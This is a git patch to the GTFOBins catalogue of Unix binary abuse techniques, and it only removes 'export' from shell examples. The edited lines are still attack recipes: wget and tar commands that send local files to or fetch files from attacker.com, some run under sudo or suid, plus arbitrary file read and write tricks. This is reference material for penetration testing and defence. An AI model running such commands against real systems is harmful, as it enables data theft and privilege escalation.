From 45308d4f5893fa8905421c6b3f3f73ee7a4333cf Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Wed, 10 Jun 2020 23:04:59 +0200 Subject: [PATCH] Remove some useless instances of export --- _gtfobins/busybox.md | 2 +- _gtfobins/jrunscript.md | 4 ++-- _gtfobins/lwp-download.md | 2 +- _gtfobins/puppet.md | 4 ++-- _gtfobins/tar.md | 14 +++++++------- _gtfobins/wget.md | 16 ++++++++-------- 6 files changed, 21 insertions(+), 21 deletions(-) diff --git a/_gtfobins/busybox.md b/_gtfobins/busybox.md index 9e01c7a..9248306 100644 --- a/_gtfobins/busybox.md +++ b/_gtfobins/busybox.md @@ -6,7 +6,7 @@ functions: file-upload: - description: Serve files in the local folder running an HTTP server. code: | - export LPORT=12345 + LPORT=12345 busybox httpd -f -p $LPORT -h . file-write: - code: | diff --git a/_gtfobins/jrunscript.md b/_gtfobins/jrunscript.md index c072f87..d79531b 100644 --- a/_gtfobins/jrunscript.md +++ b/_gtfobins/jrunscript.md @@ -22,8 +22,8 @@ functions: file-download: - description: Fetch a remote file via HTTP GET request. code: | - export URL=http://attacker.com/file_to_get - export LFILE=file_to_save + URL=http://attacker.com/file_to_get + LFILE=file_to_save jrunscript -e "cp('$URL','$LFILE')" file-write: - code: jrunscript -e 'var fw=new java.io.FileWriter("./file_to_write"); fw.write("DATA"); fw.close();' diff --git a/_gtfobins/lwp-download.md b/_gtfobins/lwp-download.md index ff5b77a..fc29699 100644 --- a/_gtfobins/lwp-download.md +++ b/_gtfobins/lwp-download.md @@ -14,6 +14,6 @@ functions: sudo: - code: | URL=http://attacker.com/file_to_get - export LFILE=file_to_save + LFILE=file_to_save sudo lwp-download $URL $LFILE --- diff --git a/_gtfobins/puppet.md b/_gtfobins/puppet.md index 7557675..9375d27 100644 --- a/_gtfobins/puppet.md +++ b/_gtfobins/puppet.md @@ -6,12 +6,12 @@ functions: file-write: - description: The file path must be absolute. code: | - export LFILE="/tmp/file_to_write" + LFILE="/tmp/file_to_write" puppet apply -e "file { '$LFILE': content => 'DATA' }" file-read: - description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed. code: | - export LFILE=file_to_read + LFILE=file_to_read puppet filebucket -l diff /dev/null $LFILE sudo: - code: | diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md index 1c42191..78f8043 100644 --- a/_gtfobins/tar.md +++ b/_gtfobins/tar.md @@ -14,17 +14,17 @@ functions: file-upload: - description: This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions). code: | - export RHOST=attacker.com - export RUSER=root - export RFILE=/tmp/file_to_send.tar - export LFILE=file_to_send + RHOST=attacker.com + RUSER=root + RFILE=/tmp/file_to_send.tar + LFILE=file_to_send tar cvf $RUSER@$RHOST:$RFILE $LFILE --rsh-command=/bin/ssh file-download: - description: This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions). code: | - export RHOST=attacker.com - export RUSER=root - export RFILE=/tmp/file_to_get.tar + RHOST=attacker.com + RUSER=root + RFILE=/tmp/file_to_get.tar tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh file-write: - description: This only works for GNU tar. diff --git a/_gtfobins/wget.md b/_gtfobins/wget.md index 1280392..e8297cf 100644 --- a/_gtfobins/wget.md +++ b/_gtfobins/wget.md @@ -3,25 +3,25 @@ functions: file-upload: - description: Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Use `--post-data` to send hard-coded data. code: | - export URL=http://attacker.com/ - export LFILE=file_to_send + URL=http://attacker.com/ + LFILE=file_to_send wget --post-file=$LFILE $URL file-download: - description: Fetch a remote file via HTTP GET request. code: | - export URL=http://attacker.com/file_to_get - export LFILE=file_to_save + URL=http://attacker.com/file_to_get + LFILE=file_to_save wget $URL -O $LFILE suid: - description: Fetch a remote file via HTTP GET request. code: | - export URL=http://attacker.com/file_to_get - export LFILE=file_to_save + URL=http://attacker.com/file_to_get + LFILE=file_to_save ./wget $URL -O $LFILE sudo: - description: Fetch a remote file via HTTP GET request. code: | - export URL=http://attacker.com/file_to_get - export LFILE=file_to_save + URL=http://attacker.com/file_to_get + LFILE=file_to_save sudo wget $URL -O $LFILE ---